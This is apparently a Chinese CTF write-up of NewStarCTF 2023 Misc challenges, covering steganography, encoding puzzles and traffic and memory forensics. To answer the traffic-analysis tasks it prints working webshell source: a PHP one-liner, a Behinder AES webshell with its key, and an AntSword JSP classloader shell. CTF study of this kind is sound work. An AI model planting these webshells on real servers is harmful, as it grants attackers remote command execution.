NewstarCTF 2023 Misc
NewStarCTF 2023 Misc
week1 的 misc 请移步上一篇 NewStarCTF
WEEK2
新建Word文档
直接复制出不来,改后缀为zip,document.xml得到内容
新佛曰 http://hi.pcmoe.net/buddha.html
flag{Th1s_F0_1s_s00_Cyp3r_495586e3df3a}
永不消逝的电波
莫斯,在线梭了
https://morsecode.world/international/decoder/audio-decoder-adaptive.html

flag{thebestctferisyou}
base!
base隐写


1-序章
sql流量,拼接flag
先url解码
import re
with open('access.log','r') as f:
lines = f.read().strip().split('\n');
comp = re.compile(r',([0-9]{1,2}),1\)\)=([0-9]{2,3})', re.I)
flag = {}
for line in lines[::-1]:
find = comp.findall(line)[0]
if not flag.get(find[0]):
flag[find[0]] = find[1];
for e in list(flag.values())[::-1]:
print(chr(int(e)),end='')
//you_w4nt_s3cretflag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32},
WebShell的利用
按index.php的要求解码
from base64 import b64decode
import uu
def decoder(cipher):
crypt_list = list(cipher)
After_decryption = ""
num = 13
for ch in crypt_list:
ch = ord(ch)
if ord('a') <= ch <= ord('z'):
ch = ch + num
if ch > ord('z'):
ch -= 26
if ord('A') <= ch <= ord('Z'):
ch = ch + num
if ch > ord('Z'):
ch -= 26
a = chr(ch)
After_decryption += a
return After_decryption;
class rio:
def __init__(self,data):
self.data=data.splitlines()
self.data.insert(0,'begin 777 123')
self.data.append('end')
def readline(self):
try:
return self.data.pop(0).encode()
except:
pass
def close(self):
pass
class wio:
def __init__(self):
self.data=b""
def write(self,data):
self.data+=data
def close(self):
pass
f = open('index.txt','r').read();
def decode(val):
if 'eval' in val:
val = val.replace("eval(str_rot13(convert_uudecode(str_rot13(base64_decode('",'').replace('\')))));','');
val = b64decode(val).decode();
val = decoder(val)
r=rio(val)
w=wio()
uu.decode(r,w)
val = decoder(w.data.decode('utf-8'))
if 'str_rot13' in val:
val = decode(val);
return val;
dec = decode(f)
print(dec)
得到 error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);
传参有了,命令执行

Jvav
java单图盲水印
https://github.com/ww23/BlindWatermark


flag{3bb3c3a628a94c}
游戏高手
控制台直接改分数

然后自杀一下就给flag了

其实是web题来着 但问题不大
WEEK3
阳光开朗大男孩
https://aghorler.github.io/emoji-aes/#
https://aghorler.github.io/emoji-aes/#


flag{3m0ji_1s_s0000_1nt3rest1ng_0861aada1050}
大怨种
GIF分帧得到汉信码

flag{1_d0nt_k0nw_h0w_to_sc4n_th1s_c0d3_acef808a868e}
滴滴滴
DTMF音识别

52563319066

键盘侠
tshark -r draobyek.pcapng -T fields -e usb.capdata > usbdata.txt
UsbKeyboardDataHacker

knm

两者结合一下,按uuid的格式筛选数据,按uuid(8-4-4-4-12)的格式
flag{9919aeb2-a450-2f5f-7bfc-89df4bfa8584}
2-分析
FLAG格式flag{md5(攻击者登录使用的用户名_存在漏洞的文件名_WebShell文件名)}
先导出全部http对象,拿d盾扫一波
WebShell文件名是wh1t3g0d.php

搜一下username

攻击者登录使用的用户名与密码:username=best_admin&password=so_hard_password

存在漏洞的文件名是index.php
flag{4069afd7089f7363198d899385ad688b}
WEEK4
R通大残
R通当然是R通道咯

flag{a96d2cc1-6edd-47fb-8e84-bd953205c9f5}
依旧是空白
PNG爆破宽高,得到密码:s00_b4by_f0r_y0u
宽:508(0x1fc) 高:1044(0x414)

有密码那就是snow隐写

第一次取证
RS先扫一波

那vol直接查

base91解码
flag{a308067fc26625d31a421247adce3893}
Nmap
请给出Nmap扫描得到所有的开放端口用英文逗号分隔,端口号从小到大排列。 例如flag
过滤一下SYN,ACK包
tcp.connection.synack

flag{80,3306,5000,7000,8021,9000}
3-溯源
目前可以得知的是攻击者使用了冰蝎进行WebShell连接
FLAG格式:flag{攻击者获取到的服务器用户名_服务器内网IP地址} 例如flag
顺着上题往下走
http.request.uri.path contains "wh1t3g0d.php"

发现写入了shell.php
http.request.uri contains "shell.php"
查看POST的包,解test的base
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
得到了key=e45e329feb5d925b,以及加密模式为AES128,是冰蝎的shell,在线解密网站
先把所有1.php的响应流量过滤出来,导出特定分组另存为
http.response_for.uri contains "/1.php"
在tcp.stream eq 19得到用户名:www-data

在tcp.stream eq 18中可以得到服务器内网IP地址: 172.17.0.2

flag{www-data_172.17.0.2}
WEEK5
隐秘的图片
像素异或
使用Stegsolve的Image Combiner即可

flag{x0r_1m4ge_w1ll_g0t_fl4ggg_3394e4ecbb53}
ezhard

是linux的磁盘文件,我喜欢改7z逃课,hint.png就是flag
flag{12bc2ba3-fa54-7b45-7f3d-f54ea6e45d7c}
BabyAntSword
Flag格式:
flag{WebShell密码_服务器JAVA版本_攻击者删除的文件内容} 例如flag{cmd_8u231_nothinginhere}
先过滤出POST的请求
http.request.method == POST

可以看到一个压缩包,导出来(原始数据保存,在010editor导入16进制)

把火绒关了,不然jsp直接被杀了
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("n3wst4r");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
是jsp的webshell,密码为 n3wst4r
蚁剑请求流量的分析需要删掉首部前两个字符
AvY2QgIi91c3IvbG9jYWwvdG9tY2F0IjtlbnY7ZWNobyBmNWNkOTtwd2Q7ZWNobyAwYTI1ZmJjMWM1
tcp.stream eq 39可以看到

在env中可以得到Java版本

JAVA版本为7u121
在tcp.stream eq 43得到执行的命令

找对应的响应包拿到/.secret文件的内容
c5850a0c-dc03-1db2-4303-43d6fdf27985
拼接:flag{n3wst4r_7u121_c5850a0c-dc03-1db2-4303-43d6fdf27985}
Easymem
(flag长度为42位),那就是uuid
桌面上有flag2

83-5032-1056-
flag第一部分在ctf用户的密码,需使用mimikatz插件读取
若vol2与mimikatz安装存在问题,移步我这篇文章

flag{45a527fb-2f
查看进程
vol.py -f /root/桌面/WIN-DOOJTVIN21M-20231005-091206.raw --profile=Win7SP1x64 pslist

重点看这个画图的进程,给它dump下来
vol.py -f /root/桌面/WIN-DOOJTVIN21M-20231005-091206.raw --profile=Win7SP1x64 memdump -p 1484 -D /root/桌面

导入GIMP
调整为如下数据时得到flag3

导入画图,翻转一下

0b949b63a947}
拼接:flag{45a527fb-2f83-5032-1056- 0b949b63a947}
新建Python文件
pyc剑龙隐写

小结
流量题出的好,其他隐写算是复习了一波,取证马马虎虎吧,这gimp确实没调出来
没有nt套题真好 : )
NewstarCTF 2023 Misc的更多相关文章
- NewStarCTF 公开赛 2022 RE WP
Week 2 Re 前可见古人,后得见来者 chipher = [0x51, 0x5B, 0x4C, 0x56, 0x59, 0x4D, 0x50, 0x56, 0x54, 0x43, 0x7D, 0 ...
- sun.misc.BASE64Encoder找不到jar包的解决方法
1.右键项目->属性->java bulid path->jre System Library->access rules->resolution选择accessible ...
- sun.misc.Unsafe的理解
以下sun.misc.Unsafe源码和demo基于jdk1.7: 最近在看J.U.C里的源码,很多都用到了sun.misc.Unsafe这个类,一知半解,看起来总感觉有点不尽兴,所以打算对Unsaf ...
- 正则表达式匹配/data/misc/wifi/wpa_supplicant.conf的WiFi名称与密码
正则表达式匹配/data/misc/wifi/wpa_supplicant.conf的WiFi名称与密码: String regex_name="ssid=\"(.*?)\&quo ...
- Java--如何使用sun.misc.Unsafe完成compareAndSwapObject原子操作
package com; import sun.misc.Unsafe; import java.lang.reflect.Field; /** * Created by yangyu on 16/1 ...
- MyEclipse中无法识别 sun.misc.BASE64Encoder
sun.misc.BASE64Encoder/BASE64Decoder类不属于JDK标准库范畴,但在JDK中包含了该类,可以直接使用.但是在MyEclipse中直接使用却找不到该类. 解决方法: 1 ...
- Java sun.misc.Unsafe类的学习笔记
Java未开源的Unsafe类 Unsafe类可以为我们提供高效并且线程安全方式操作变量,直接和内存数据打交道. 获取Unsafe实体的方法 private static Unsafe getUnsa ...
- 教你一招 - Misc类型插件的妙用(附带插件源码)
熟悉nopcommerce插件的朋友应该知道里面有一种Misc类型的插件,比如Nop.Plugin.Misc.WebServices和 Nop.Plugin.Misc.FacebookShop,继承自 ...
- linux设备驱动归纳总结(十):1.udev&misc【转】
本文转载自:http://blog.chinaunix.net/uid-25014876-id-111839.html linux设备驱动归纳总结(十):1.udev&misc xxxxxxx ...
- misc设备
WatchDog Timer驱动 混杂设备 Misc(或miscellaneous)驱动是一些拥有着共同特性的简单字符设备驱动.内核抽象出这些特性而形成一些API(在文件drivers/char/mi ...
随机推荐
- web3.js:使用eth包
原文在这里 简介 web3-eth包提供了一套强大的功能,可以与以太坊区块链和智能合约进行交互.在本教程中,我们将指导您如何使用web3.js版本4的web3-eth包的基础知识.我们将在整个示例中使 ...
- C#应用的欢迎界面窗体方案 - 开源研究系列文章
这次整理以前的代码,然后想到了应用的欢迎界面窗体的问题.这个例子是在应用中启动一个线程来进行显示欢迎窗体的,对于应用的启动无影响,与其他人的源码不相同,欢迎读者进行复用此类库. 以前有编写过欢迎界面窗 ...
- centos7下xfs文件系统的备份和恢复:完全备份,增量备份,差异备份
目录 一.关于xfs文件系统 二.xfsdump的备份级别和注意事项 三.完全备份整个目录/分区,然后恢复数据 四.完全备份分区中某个目录,然后恢复某个文件/文件夹 五.增量备份 一.关于xfs文件系 ...
- 分布式任务调度内的 MySQL 分页查询优化
作者:vivo 互联网数据库团队- Qiu Xinbo 本文主要通过图示介绍了用主键进行分片查询的过程,介绍了主键分页查询存在SQL性能问题,如何去创建高效的索引去优化主键分页查询的SQL性能问题.对 ...
- C# WPF 自定义Main方法总结
在使用自定义的Main函数启动应用时,应该需要做这几步: 1.去掉App.xaml的Application的starup属性. 2.右键App.xaml,属性 把生成操作改为Page. 3.如果有引入 ...
- pwn杂项之linux命令执行
通常pwn题目,时常会考到对Linux命令的一些使用,比如当cat被禁用的时候,可以使用tac,或者别的命令代替 下面是buu上的应该题目,考察的就是对liunx命令的理解,以及对程序的分析. 题目地 ...
- 关于《Java并发编程之线程池十八问》的补充内容
一.写在开头 在上一篇文章我们写<Java并发编程之线程池十八问>的时候,鉴于当时的篇幅已经过长,很多内容就没有扩展了,在这篇文章里对一些关键知识点进行对比补充. 二.Runnable v ...
- github加速与添加ssh密钥
part1-github加速 此处推荐Fetch GitHub Hosts,文章的中间位置有手动添加dns的内容,十分完备,此处不赘述.不知道是不是我家网络抽风,总是得代理才能进githubQAQ难受 ...
- Python爬虫 | 批量爬取今日头条街拍美图
01 前言 上篇文章我们爬取了今日头条街拍美图,心情相当愉悦,今天这篇文章我们使用Selenium来爬取当当网的畅销图书排行.正所谓书中自有黄金屋,书中自有颜如玉,我们通过读书学习来提高自身的才华,自 ...
- 初学go语言
for(int a = 0; a<10 ; a++){ // c语言的循环 } for a := 0 ; a<10 ; a++ { // go语言的循环 } // for二边的括号 ...